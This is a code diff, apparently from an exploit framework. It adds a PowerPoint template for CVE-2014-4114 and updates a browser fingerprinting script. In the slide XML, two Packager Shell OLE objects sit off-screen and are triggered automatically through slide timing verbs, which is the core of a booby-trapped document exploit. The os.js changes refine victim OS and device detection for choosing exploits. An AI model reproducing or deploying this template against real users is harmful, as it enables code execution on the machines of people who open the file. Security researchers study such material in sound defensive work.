+                    <a:solidFill>
+                        <a:schemeClr val="tx1" />
+                    </a:solidFill>
+                    <a:latin typeface="+mn-lt" />
+                    <a:ea typeface="+mn-ea" />
+                    <a:cs typeface="+mn-cs" />
+                </a:defRPr>
+            </a:lvl7pPr>
+            <a:lvl8pPr marL="3429000" indent="-228600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+                <a:spcBef>
+                    <a:spcPct val="20000" />
+                </a:spcBef>
+                <a:buFont typeface="Arial" pitchFamily="34" charset="0" />
+                <a:buChar char="•" />
+                <a:defRPr sz="2000" kern="1200">
+                    <a:solidFill>
+                        <a:schemeClr val="tx1" />
+                    </a:solidFill>
+                    <a:latin typeface="+mn-lt" />
+                    <a:ea typeface="+mn-ea" />
+                    <a:cs typeface="+mn-cs" />
+                </a:defRPr>
+            </a:lvl8pPr>
+            <a:lvl9pPr marL="3886200" indent="-228600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+                <a:spcBef>
+                    <a:spcPct val="20000" />
+                </a:spcBef>
+                <a:buFont typeface="Arial" pitchFamily="34" charset="0" />
+                <a:buChar char="•" />
+                <a:defRPr sz="2000" kern="1200">
+                    <a:solidFill>
+                        <a:schemeClr val="tx1" />
+                    </a:solidFill>
+                    <a:latin typeface="+mn-lt" />
+                    <a:ea typeface="+mn-ea" />
+                    <a:cs typeface="+mn-cs" />
+                </a:defRPr>
+            </a:lvl9pPr>
+        </p:bodyStyle>
+        <p:otherStyle>
+            <a:defPPr>
+                <a:defRPr lang="en-US" />
+            </a:defPPr>
+            <a:lvl1pPr marL="0" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+                <a:defRPr sz="1800" kern="1200">
+                    <a:solidFill>
+                        <a:schemeClr val="tx1" />
+                    </a:solidFill>
+                    <a:latin typeface="+mn-lt" />
+                    <a:ea typeface="+mn-ea" />
+                    <a:cs typeface="+mn-cs" />
+                </a:defRPr>
+            </a:lvl1pPr>
+            <a:lvl2pPr marL="457200" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+                <a:defRPr sz="1800" kern="1200">
+                    <a:solidFill>
+                        <a:schemeClr val="tx1" />
+                    </a:solidFill>
+                    <a:latin typeface="+mn-lt" />
+                    <a:ea typeface="+mn-ea" />
+                    <a:cs typeface="+mn-cs" />
+                </a:defRPr>
+            </a:lvl2pPr>
+            <a:lvl3pPr marL="914400" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+                <a:defRPr sz="1800" kern="1200">
+                    <a:solidFill>
+                        <a:schemeClr val="tx1" />
+                    </a:solidFill>
+                    <a:latin typeface="+mn-lt" />
+                    <a:ea typeface="+mn-ea" />
+                    <a:cs typeface="+mn-cs" />
+                </a:defRPr>
+            </a:lvl3pPr>
+            <a:lvl4pPr marL="1371600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+                <a:defRPr sz="1800" kern="1200">
+                    <a:solidFill>
+                        <a:schemeClr val="tx1" />
+                    </a:solidFill>
+                    <a:latin typeface="+mn-lt" />
+                    <a:ea typeface="+mn-ea" />
+                    <a:cs typeface="+mn-cs" />
+                </a:defRPr>
+            </a:lvl4pPr>
+            <a:lvl5pPr marL="1828800" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+                <a:defRPr sz="1800" kern="1200">
+                    <a:solidFill>
+                        <a:schemeClr val="tx1" />
+                    </a:solidFill>
+                    <a:latin typeface="+mn-lt" />
+                    <a:ea typeface="+mn-ea" />
+                    <a:cs typeface="+mn-cs" />
+                </a:defRPr>
+            </a:lvl5pPr>
+            <a:lvl6pPr marL="2286000" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+                <a:defRPr sz="1800" kern="1200">
+                    <a:solidFill>
+                        <a:schemeClr val="tx1" />
+                    </a:solidFill>
+                    <a:latin typeface="+mn-lt" />
+                    <a:ea typeface="+mn-ea" />
+                    <a:cs typeface="+mn-cs" />
+                </a:defRPr>
+            </a:lvl6pPr>
+            <a:lvl7pPr marL="2743200" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+                <a:defRPr sz="1800" kern="1200">
+                    <a:solidFill>
+                        <a:schemeClr val="tx1" />
+                    </a:solidFill>
+                    <a:latin typeface="+mn-lt" />
+                    <a:ea typeface="+mn-ea" />
+                    <a:cs typeface="+mn-cs" />
+                </a:defRPr>
+            </a:lvl7pPr>
+            <a:lvl8pPr marL="3200400" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+                <a:defRPr sz="1800" kern="1200">
+                    <a:solidFill>
+                        <a:schemeClr val="tx1" />
+                    </a:solidFill>
+                    <a:latin typeface="+mn-lt" />
+                    <a:ea typeface="+mn-ea" />
+                    <a:cs typeface="+mn-cs" />
+                </a:defRPr>
+            </a:lvl8pPr>
+            <a:lvl9pPr marL="3657600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
+                <a:defRPr sz="1800" kern="1200">
+                    <a:solidFill>
+                        <a:schemeClr val="tx1" />
+                    </a:solidFill>
+                    <a:latin typeface="+mn-lt" />
+                    <a:ea typeface="+mn-ea" />
+                    <a:cs typeface="+mn-cs" />
+                </a:defRPr>
+            </a:lvl9pPr>
+        </p:otherStyle>
+    </p:txStyles>
+</p:sldMaster>

data/exploits/CVE-2014-4114/template/ppt/slides/_rels/slide1.xml.rels

@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
+    <Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="../embeddings/oleObject1.bin" />
+    <Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml" />
+    <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing" Target="../drawings/vmlDrawing1.vml" />
+    <Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="../media/image2.wmf" />
+    <Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="../embeddings/oleObject2.bin" />
+    <Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="../media/image1.wmf" />
+</Relationships>

data/exploits/CVE-2014-4114/template/ppt/slides/slide1.xml

@@ -0,0 +1,425 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<p:sld xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main">
+    <p:cSld>
+        <p:spTree>
+            <p:nvGrpSpPr>
+                <p:cNvPr id="1" name="" />
+                <p:cNvGrpSpPr />
+                <p:nvPr />
+            </p:nvGrpSpPr>
+            <p:grpSpPr>
+                <a:xfrm>
+                    <a:off x="0" y="0" />
+                    <a:ext cx="0" cy="0" />
+                    <a:chOff x="0" y="0" />
+                    <a:chExt cx="0" cy="0" />
+                </a:xfrm>
+            </p:grpSpPr>
+            <p:sp>
+                <p:nvSpPr>
+                    <p:cNvPr id="2" name="Title 1" />
+                    <p:cNvSpPr>
+                        <a:spLocks noGrp="1" />
+                    </p:cNvSpPr>
+                    <p:nvPr>
+                        <p:ph type="ctrTitle" />
+                    </p:nvPr>
+                </p:nvSpPr>
+                <p:spPr>
+                    <a:xfrm>
+                        <a:off x="304800" y="304800" />
+                        <a:ext cx="8686800" cy="685800" />
+                    </a:xfrm>
+                </p:spPr>
+                <p:txBody>
+                    <a:bodyPr>
+                        <a:normAutofit />
+                    </a:bodyPr>
+                    <a:lstStyle />
+                    <a:p>
+                        <a:r>
+                            <a:rPr lang="en-US" sz="3200" dirty="0" smtClean="0">
+                                <a:effectLst>
+                                    <a:outerShdw blurRad="38100" dist="38100" dir="2700000" algn="tl">
+                                        <a:srgbClr val="000000">
+                                            <a:alpha val="43137" />
+                                        </a:srgbClr>
+                                    </a:outerShdw>
+                                </a:effectLst>
+                            </a:rPr>
+                            <a:t>Example</a:t>
+                        </a:r>
+                        <a:endParaRPr lang="en-US" sz="3200" dirty="0">
+                            <a:effectLst>
+                                <a:outerShdw blurRad="38100" dist="38100" dir="2700000" algn="tl">
+                                    <a:srgbClr val="000000">
+                                        <a:alpha val="43137" />
+                                    </a:srgbClr>
+                                </a:outerShdw>
+                            </a:effectLst>
+                        </a:endParaRPr>
+                    </a:p>
+                </p:txBody>
+            </p:sp>
+            <p:sp>
+                <p:nvSpPr>
+                    <p:cNvPr id="3" name="Subtitle 2" />
+                    <p:cNvSpPr>
+                        <a:spLocks noGrp="1" />
+                    </p:cNvSpPr>
+                    <p:nvPr>
+                        <p:ph type="subTitle" idx="1" />
+                    </p:nvPr>
+                </p:nvSpPr>
+                <p:spPr>
+                    <a:xfrm>
+                        <a:off x="152400" y="1524000" />
+                        <a:ext cx="8839200" cy="5105400" />
+                    </a:xfrm>
+                </p:spPr>
+                <p:txBody>
+                    <a:bodyPr>
+                        <a:normAutofit />
+                    </a:bodyPr>
+                    <a:lstStyle />
+                    <a:p>
+                        <a:pPr algn="just" />
+                        <a:r>
+                            <a:rPr lang="en-US" b="1" dirty="0" smtClean="0">
+                                <a:solidFill>
+                                    <a:schemeClr val="tx1" />
+                                </a:solidFill>
+                            </a:rPr>
+                            <a:t>Example</a:t>
+                        </a:r>
+                        <a:endParaRPr lang="en-US" b="1" dirty="0">
+                            <a:solidFill>
+                                <a:schemeClr val="tx1" />
+                            </a:solidFill>
+                        </a:endParaRPr>
+                    </a:p>
+                </p:txBody>
+            </p:sp>
+            <p:graphicFrame>
+                <p:nvGraphicFramePr>
+                    <p:cNvPr id="4" name="Object 3" />
+                    <p:cNvGraphicFramePr>
+                        <a:graphicFrameLocks noChangeAspect="1" />
+                    </p:cNvGraphicFramePr>
+                    <p:nvPr />
+                </p:nvGraphicFramePr>
+                <p:xfrm>
+                    <a:off x="1270000" y="-1270000" />
+                    <a:ext cx="381000" cy="381000" />
+                </p:xfrm>
+                <a:graphic>
+                    <a:graphicData uri="http://schemas.openxmlformats.org/presentationml/2006/ole">
+                        <mc:AlternateContent xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006">
+                            <mc:Choice xmlns:v="urn:schemas-microsoft-com:vml" Requires="v">
+                                <p:oleObj spid="_x0000_s1032" name="Packager Shell Object" r:id="rId3" imgW="850320" imgH="686880" progId="Package">
+                                    <p:embed />
+                                </p:oleObj>
+                            </mc:Choice>
+                            <mc:Fallback>
+                                <p:oleObj name="Packager Shell Object" r:id="rId3" imgW="850320" imgH="686880" progId="Package">
+                                    <p:embed />
+                                    <p:pic>
+                                        <p:nvPicPr>
+                                            <p:cNvPr id="0" name="Picture 2" />
+                                            <p:cNvPicPr>
+                                                <a:picLocks noChangeAspect="1" noChangeArrowheads="1" />
+                                            </p:cNvPicPr>
+                                            <p:nvPr />
+                                        </p:nvPicPr>
+                                        <p:blipFill>
+                                            <a:blip r:embed="rId4">
+                                                <a:extLst>
+                                                    <a:ext uri="{28A0092B-C50C-407E-A947-70E740481C1C}">
+                                                        <a14:useLocalDpi xmlns:a14="http://schemas.microsoft.com/office/drawing/2010/main" val="0" />
+                                                    </a:ext>
+                                                </a:extLst>
+                                            </a:blip>
+                                            <a:srcRect />
+                                            <a:stretch>
+                                                <a:fillRect />
+                                            </a:stretch>
+                                        </p:blipFill>
+                                        <p:spPr bwMode="auto">
+                                            <a:xfrm>
+                                                <a:off x="1270000" y="-1270000" />
+                                                <a:ext cx="381000" cy="381000" />
+                                            </a:xfrm>
+                                            <a:prstGeom prst="rect">
+                                                <a:avLst />
+                                            </a:prstGeom>
+                                            <a:noFill />
+                                            <a:extLst>
+                                                <a:ext uri="{909E8E84-426E-40DD-AFC4-6F175D3DCCD1}">
+                                                    <a14:hiddenFill xmlns:a14="http://schemas.microsoft.com/office/drawing/2010/main">
+                                                        <a:solidFill>
+                                                            <a:srgbClr val="FFFFFF" />
+                                                        </a:solidFill>
+                                                    </a14:hiddenFill>
+                                                </a:ext>
+                                            </a:extLst>
+                                        </p:spPr>
+                                    </p:pic>
+                                </p:oleObj>
+                            </mc:Fallback>
+                        </mc:AlternateContent>
+                    </a:graphicData>
+                </a:graphic>
+            </p:graphicFrame>
+            <p:graphicFrame>
+                <p:nvGraphicFramePr>
+                    <p:cNvPr id="5" name="Object 4" />
+                    <p:cNvGraphicFramePr>
+                        <a:graphicFrameLocks noChangeAspect="1" />
+                    </p:cNvGraphicFramePr>
+                    <p:nvPr />
+                </p:nvGraphicFramePr>
+                <p:xfrm>
+                    <a:off x="1905000" y="-1270000" />
+                    <a:ext cx="381000" cy="381000" />
+                </p:xfrm>
+                <a:graphic>
+                    <a:graphicData uri="http://schemas.openxmlformats.org/presentationml/2006/ole">
+                        <mc:AlternateContent xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006">
+                            <mc:Choice xmlns:v="urn:schemas-microsoft-com:vml" Requires="v">
+                                <p:oleObj spid="_x0000_s1033" name="Packager Shell Object" r:id="rId5" imgW="850320" imgH="686880" progId="Package">
+                                    <p:embed />
+                                </p:oleObj>
+                            </mc:Choice>
+                            <mc:Fallback>
+                                <p:oleObj name="Packager Shell Object" r:id="rId5" imgW="850320" imgH="686880" progId="Package">
+                                    <p:embed />
+                                    <p:pic>
+                                        <p:nvPicPr>
+                                            <p:cNvPr id="0" name="Picture 3" />
+                                            <p:cNvPicPr>
+                                                <a:picLocks noChangeAspect="1" noChangeArrowheads="1" />
+                                            </p:cNvPicPr>
+                                            <p:nvPr />
+                                        </p:nvPicPr>
+                                        <p:blipFill>
+                                            <a:blip r:embed="rId6">
+                                                <a:extLst>
+                                                    <a:ext uri="{28A0092B-C50C-407E-A947-70E740481C1C}">
+                                                        <a14:useLocalDpi xmlns:a14="http://schemas.microsoft.com/office/drawing/2010/main" val="0" />
+                                                    </a:ext>
+                                                </a:extLst>
+                                            </a:blip>
+                                            <a:srcRect />
+                                            <a:stretch>
+                                                <a:fillRect />
+                                            </a:stretch>
+                                        </p:blipFill>
+                                        <p:spPr bwMode="auto">
+                                            <a:xfrm>
+                                                <a:off x="1905000" y="-1270000" />
+                                                <a:ext cx="381000" cy="381000" />
+                                            </a:xfrm>
+                                            <a:prstGeom prst="rect">
+                                                <a:avLst />
+                                            </a:prstGeom>
+                                            <a:noFill />
+                                            <a:extLst>
+                                                <a:ext uri="{909E8E84-426E-40DD-AFC4-6F175D3DCCD1}">
+                                                    <a14:hiddenFill xmlns:a14="http://schemas.microsoft.com/office/drawing/2010/main">
+                                                        <a:solidFill>
+                                                            <a:srgbClr val="FFFFFF" />
+                                                        </a:solidFill>
+                                                    </a14:hiddenFill>
+                                                </a:ext>
+                                            </a:extLst>
+                                        </p:spPr>
+                                    </p:pic>
+                                </p:oleObj>
+                            </mc:Fallback>
+                        </mc:AlternateContent>
+                    </a:graphicData>
+                </a:graphic>
+            </p:graphicFrame>
+        </p:spTree>
+    </p:cSld>
+    <p:clrMapOvr>
+        <a:masterClrMapping />
+    </p:clrMapOvr>
+    <p:transition>
+        <p:zoom />
+    </p:transition>
+    <p:timing>
+        <p:tnLst>
+            <p:par>
+                <p:cTn id="1" dur="indefinite" restart="never" nodeType="tmRoot">
+                    <p:childTnLst>
+                        <p:seq concurrent="1" nextAc="seek">
+                            <p:cTn id="2" dur="indefinite" nodeType="mainSeq">
+                                <p:childTnLst>
+                                    <p:par>
+                                        <p:cTn id="3" fill="hold">
+                                            <p:stCondLst>
+                                                <p:cond delay="indefinite" />
+                                                <p:cond evt="onBegin" delay="0">
+                                                    <p:tn val="2" />
+                                                </p:cond>
+                                            </p:stCondLst>
+                                            <p:childTnLst>
+                                                <p:par>
+                                                    <p:cTn id="4" fill="hold">
+                                                        <p:stCondLst>
+                                                            <p:cond delay="0" />
+                                                        </p:stCondLst>
+                                                        <p:childTnLst>
+                                                            <p:par>
+                                                                <p:cTn id="5" presetID="11" presetClass="entr" presetSubtype="0" fill="hold" nodeType="withEffect">
+                                                                    <p:stCondLst>
+                                                                        <p:cond delay="0" />
+                                                                    </p:stCondLst>
+                                                                    <p:childTnLst>
+                                                                        <p:set>
+                                                                            <p:cBhvr>
+                                                                                <p:cTn id="6" dur="1000">
+                                                                                    <p:stCondLst>
+                                                                                        <p:cond delay="0" />
+                                                                                    </p:stCondLst>
+                                                                                </p:cTn>
+                                                                                <p:tgtEl>
+                                                                                    <p:spTgt spid="4" />
+                                                                                </p:tgtEl>
+                                                                                <p:attrNameLst>
+                                                                                    <p:attrName>style.visibility</p:attrName>
+                                                                                </p:attrNameLst>
+                                                                            </p:cBhvr>
+                                                                            <p:to>
+                                                                                <p:strVal val="visible" />
+                                                                            </p:to>
+                                                                        </p:set>
+                                                                    </p:childTnLst>
+                                                                </p:cTn>
+                                                            </p:par>
+                                                        </p:childTnLst>
+                                                    </p:cTn>
+                                                </p:par>
+                                                <p:par>
+                                                    <p:cTn id="7" fill="hold">
+                                                        <p:stCondLst>
+                                                            <p:cond delay="1000" />
+                                                        </p:stCondLst>
+                                                        <p:childTnLst>
+                                                            <p:par>
+                                                                <p:cTn id="8" presetID="11" presetClass="entr" presetSubtype="0" fill="hold" nodeType="afterEffect">
+                                                                    <p:stCondLst>
+                                                                        <p:cond delay="0" />
+                                                                    </p:stCondLst>
+                                                                    <p:childTnLst>
+                                                                        <p:set>
+                                                                            <p:cBhvr>
+                                                                                <p:cTn id="9" dur="1000">
+                                                                                    <p:stCondLst>
+                                                                                        <p:cond delay="0" />
+                                                                                    </p:stCondLst>
+                                                                                </p:cTn>
+                                                                                <p:tgtEl>
+                                                                                    <p:spTgt spid="4" />
+                                                                                </p:tgtEl>
+                                                                                <p:attrNameLst>
+                                                                                    <p:attrName>style.visibility</p:attrName>
+                                                                                </p:attrNameLst>
+                                                                            </p:cBhvr>
+                                                                            <p:to>
+                                                                                <p:strVal val="visible" />
+                                                                            </p:to>
+                                                                        </p:set>
+                                                                        <p:cmd type="verb" cmd="-3">
+                                                                            <p:cBhvr>
+                                                                                <p:cTn id="10" dur="1000" fill="hold">
+                                                                                    <p:stCondLst>
+                                                                                        <p:cond delay="0" />
+                                                                                    </p:stCondLst>
+                                                                                </p:cTn>
+                                                                                <p:tgtEl>
+                                                                                    <p:spTgt spid="4" />
+                                                                                </p:tgtEl>
+                                                                            </p:cBhvr>
+                                                                        </p:cmd>
+                                                                    </p:childTnLst>
+                                                                </p:cTn>
+                                                            </p:par>
+                                                        </p:childTnLst>
+                                                    </p:cTn>
+                                                </p:par>
+                                                <p:par>
+                                                    <p:cTn id="11" fill="hold">
+                                                        <p:stCondLst>
+                                                            <p:cond delay="2000" />
+                                                        </p:stCondLst>
+                                                        <p:childTnLst>
+                                                            <p:par>
+                                                                <p:cTn id="12" presetID="11" presetClass="entr" presetSubtype="0" fill="hold" nodeType="afterEffect">
+                                                                    <p:stCondLst>
+                                                                        <p:cond delay="0" />
+                                                                    </p:stCondLst>
+                                                                    <p:childTnLst>
+                                                                        <p:set>
+                                                                            <p:cBhvr>
+                                                                                <p:cTn id="13" dur="1000">
+                                                                                    <p:stCondLst>
+                                                                                        <p:cond delay="0" />
+                                                                                    </p:stCondLst>
+                                                                                </p:cTn>
+                                                                                <p:tgtEl>
+                                                                                    <p:spTgt spid="5" />
+                                                                                </p:tgtEl>
+                                                                                <p:attrNameLst>
+                                                                                    <p:attrName>style.visibility</p:attrName>
+                                                                                </p:attrNameLst>
+                                                                            </p:cBhvr>
+                                                                            <p:to>
+                                                                                <p:strVal val="visible" />
+                                                                            </p:to>
+                                                                        </p:set>
+                                                                        <p:cmd type="verb" cmd="3">
+                                                                            <p:cBhvr>
+                                                                                <p:cTn id="14" dur="1000" fill="hold">
+                                                                                    <p:stCondLst>
+                                                                                        <p:cond delay="0" />
+                                                                                    </p:stCondLst>
+                                                                                </p:cTn>
+                                                                                <p:tgtEl>
+                                                                                    <p:spTgt spid="5" />
+                                                                                </p:tgtEl>
+                                                                            </p:cBhvr>
+                                                                        </p:cmd>
+                                                                    </p:childTnLst>
+                                                                </p:cTn>
+                                                            </p:par>
+                                                        </p:childTnLst>
+                                                    </p:cTn>
+                                                </p:par>
+                                            </p:childTnLst>
+                                        </p:cTn>
+                                    </p:par>
+                                </p:childTnLst>
+                            </p:cTn>
+                            <p:prevCondLst>
+                                <p:cond evt="onPrev" delay="0">
+                                    <p:tgtEl>
+                                        <p:sldTgt />
+                                    </p:tgtEl>
+                                </p:cond>
+                            </p:prevCondLst>
+                            <p:nextCondLst>
+                                <p:cond evt="onNext" delay="0">
+                                    <p:tgtEl>
+                                        <p:sldTgt />
+                                    </p:tgtEl>
+                                </p:cond>
+                            </p:nextCondLst>
+                        </p:seq>
+                    </p:childTnLst>
+                </p:cTn>
+            </p:par>
+        </p:tnLst>
+    </p:timing>
+</p:sld>

data/exploits/CVE-2014-4114/template/ppt/tableStyles.xml

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<a:tblStyleLst xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" def="{5C22544A-7EE6-4342-B048-85BDC9FD1C3A}"/>

data/exploits/CVE-2014-4114/template/ppt/viewProps.xml

@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<p:viewPr xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" lastView="sldThumbnailView"><p:normalViewPr><p:restoredLeft sz="15620"/><p:restoredTop sz="94660"/></p:normalViewPr><p:slideViewPr><p:cSldViewPr><p:cViewPr varScale="1"><p:scale><a:sx n="60" d="100"/><a:sy n="60" d="100"/></p:scale><p:origin x="332" y="52"/></p:cViewPr><p:guideLst><p:guide orient="horz" pos="2160"/><p:guide pos="2880"/></p:guideLst></p:cSldViewPr></p:slideViewPr><p:notesTextViewPr><p:cViewPr><p:scale><a:sx n="100" d="100"/><a:sy n="100" d="100"/></p:scale><p:origin x="0" y="0"/></p:cViewPr></p:notesTextViewPr><p:gridSpacing cx="76200" cy="76200"/></p:viewPr>

data/js/detect/os.js

@@ -1,19 +1,21 @@
 
 // Case matters, see lib/msf/core/constants.rb
 // All of these should match up with constants in ::Msf::HttpClients
-var clients_opera = "Opera";
-var clients_ie    = "MSIE";
-var clients_ff    = "Firefox";
-var clients_chrome= "Chrome";
-var clients_safari= "Safari";
+var clients_opera  = "Opera";
+var clients_ie     = "MSIE";
+var clients_ff     = "Firefox";
+var clients_chrome = "Chrome";
+var clients_safari = "Safari";
 
 // All of these should match up with constants in ::Msf::OperatingSystems
-var oses_linux    = "Linux";
-var oses_windows  = "Microsoft Windows";
-var oses_mac_osx  = "Mac OS X";
-var oses_freebsd  = "FreeBSD";
-var oses_netbsd   = "NetBSD";
-var oses_openbsd  = "OpenBSD";
+var oses_linux     = "Linux";
+var oses_android   = "Android";
+var oses_windows   = "Windows";
+var oses_mac_osx   = "Mac OS X";
+var oses_apple_ios = "iOS";
+var oses_freebsd   = "FreeBSD";
+var oses_netbsd    = "NetBSD";
+var oses_openbsd   = "OpenBSD";
 
 // All of these should match up with the ARCH_* constants
 var arch_armle    = "armle";
@@ -33,6 +35,8 @@ var os_detect = {};
 os_detect.getVersion = function(){
 	//Default values:
 	var os_name;
+	var os_vendor;
+	var os_device;
 	var os_flavor;
 	var os_sp;
 	var os_lang;
@@ -120,11 +124,10 @@ os_detect.getVersion = function(){
 					// Android 2.3.6, opera mini 7.1
 					//  Opera/9.80 (Android; Opera Mini/7.29530/27.1407; U; en) Presto/2.8.119 Version/11.101.10
 					if (navigator.userAgent.indexOf("Android")) {
-						os_name = oses_linux;
-						os_flavor = "Android";
+						os_name = oses_android;
 					} else if (navigator.userAgent.indexOf("iPhone")) {
-						os_name = oses_mac_osx;
-						os_flavor = "iPhone";
+						os_name = oses_apple_ios;
+						os_device = "iPhone";
 					}
 					break;
 				// A few are ambiguous, record them here
@@ -162,28 +165,28 @@ os_detect.getVersion = function(){
 		// "Version" in the UA, see example above.  Grab the webkit version
 		// instead.  =/
 		if (platform.match(/ipod/)) {
-			os_name = oses_mac_osx;
-			os_flavor = "iPod";
+			os_name = oses_apple_ios;
+			os_device = "iPod";
 			arch = arch_armle;
 			search = "AppleWebKit";
 		} else if (platform.match(/ipad/)) {
-			os_name = oses_mac_osx;
-			os_flavor = "iPad";
+			os_name = oses_apple_ios;
+			os_device = "iPad";
 			arch = arch_armle;
 			search = "AppleWebKit";
 		} else if (platform.match(/iphone/)) {
-			os_name = oses_mac_osx;
-			os_flavor = "iPhone";
+			os_name = oses_apple_ios;
+			os_device = "iPhone";
 			arch = arch_armle;
 		} else if (platform.match(/macintel/)) {
 			os_name = oses_mac_osx;
 			arch = arch_x86;
 		} else if (platform.match(/linux/)) {
 			os_name = oses_linux;
+
 			if (platform.match(/x86_64/)) {
 				arch = arch_x86_64;
 			} else if (platform.match(/arm/)) {
-				// Android and maemo
 				arch = arch_armle;
 			} else if (platform.match(/x86/)) {
 				arch = arch_x86;
@@ -191,9 +194,9 @@ os_detect.getVersion = function(){
 				arch = arch_mipsle;
 			}
 
-
+			// Android overrides Linux
 			if (navigator.userAgent.match(/android/i)) {
-				os_flavor = 'Android';
+				os_name = oses_android;
 			}
 		} else if (platform.match(/windows/)) {
 			os_name = oses_windows;
@@ -263,7 +266,7 @@ os_detect.getVersion = function(){
 			ua_version = '17.0';
 		} else if ('mozApps' in navigator && 'install' in navigator.mozApps) {
 			ua_version = '16.0';
-		} else if ('HTMLSourceElement' in window && 
+		} else if ('HTMLSourceElement' in window &&
 		           HTMLSourceElement.prototype &&
 		           'media' in HTMLSourceElement.prototype) {
 			ua_version = '15.0';
@@ -318,13 +321,17 @@ os_detect.getVersion = function(){
 		}
 		if (version.match(/Windows/)) {
 			os_name = oses_windows;
+			// Technically these will mismatch server OS editions, but those are
+			// rarely used as client systems and typically have the same exploit
+			// characteristics as the associated client.
 			switch(version) {
-				case "Windows NT 5.0": os_flavor = "2000"; break;
-				case "Windows NT 5.1": os_flavor = "XP"; break;
-				case "Windows NT 5.2": os_flavor = "2003"; break;
-				case "Windows NT 6.0": os_flavor = "Vista"; break;
-				case "Windows NT 6.1": os_flavor = "7"; break;
-				case "Windows NT 6.2": os_flavor = "8"; break;
+				case "Windows NT 5.0": os_name = "Windows 2000"; break;
+				case "Windows NT 5.1": os_name = "Windows XP"; break;
+				case "Windows NT 5.2": os_name = "Windows 2003"; break;
+				case "Windows NT 6.0": os_name = "Windows Vista"; break;
+				case "Windows NT 6.1": os_name = "Windows 7"; break;
+				case "Windows NT 6.2": os_name = "Windows 8"; break;
+				case "Windows NT 6.3": os_name = "Windows 8.1"; break;
 			}
 		}
 		if (version.match(/Linux/)) {
@@ -343,17 +350,17 @@ os_detect.getVersion = function(){
 		var buildid = navigator.buildID;
 
 		switch(buildid) {
-			case "2008041514": ua_version = "3.0.0.b5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "2008041515": ua_version = "3.0.0.b5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
-			case "2008052312": ua_version = "3.0.0"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
+			case "2008041514": ua_version = "3.0.0.b5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "2008041515": ua_version = "3.0.0.b5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
+			case "2008052312": ua_version = "3.0.0"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
 			case "2008052906": ua_version = "3.0.0"; os_name = oses_windows; break;
-			case "2008052909": ua_version = "3.0.0.rc1"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
+			case "2008052909": ua_version = "3.0.0.rc1"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
 			case "2008052912": ua_version = "3.0.0"; os_name = oses_linux; break;
-			case "2008060309": ua_version = "3.0.0"; os_name = oses_linux; os_flavor = "Ubuntu"; break;
+			case "2008060309": ua_version = "3.0.0"; os_name = oses_linux; os_vendor = "Ubuntu"; break;
 			case "2008070205": ua_version = "2.0.0.16"; os_name = oses_windows; break;
 			case "2008070206": ua_version = "3.0.1"; os_name = oses_linux; break;
 			case "2008070208": ua_version = "3.0.1"; os_name = oses_windows; break;
-			case "2008071222": ua_version = "3.0.1"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
+			case "2008071222": ua_version = "3.0.1"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
 			case "2008072820":
 				switch (navigator.productSub) {
 					case "2008072820": ua_version = "3.0.1"; os_name = oses_linux; break;
@@ -362,10 +369,10 @@ os_detect.getVersion = function(){
 			case "2008082909": ua_version = "2.0.0.17"; os_name = oses_windows; break;
 			case "2008091618": ua_version = "3.0.2"; os_name = oses_linux; break;
 			case "2008091620": ua_version = "3.0.2"; os_name = oses_windows; break;
-			case "2008092313": ua_version = "3.0.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
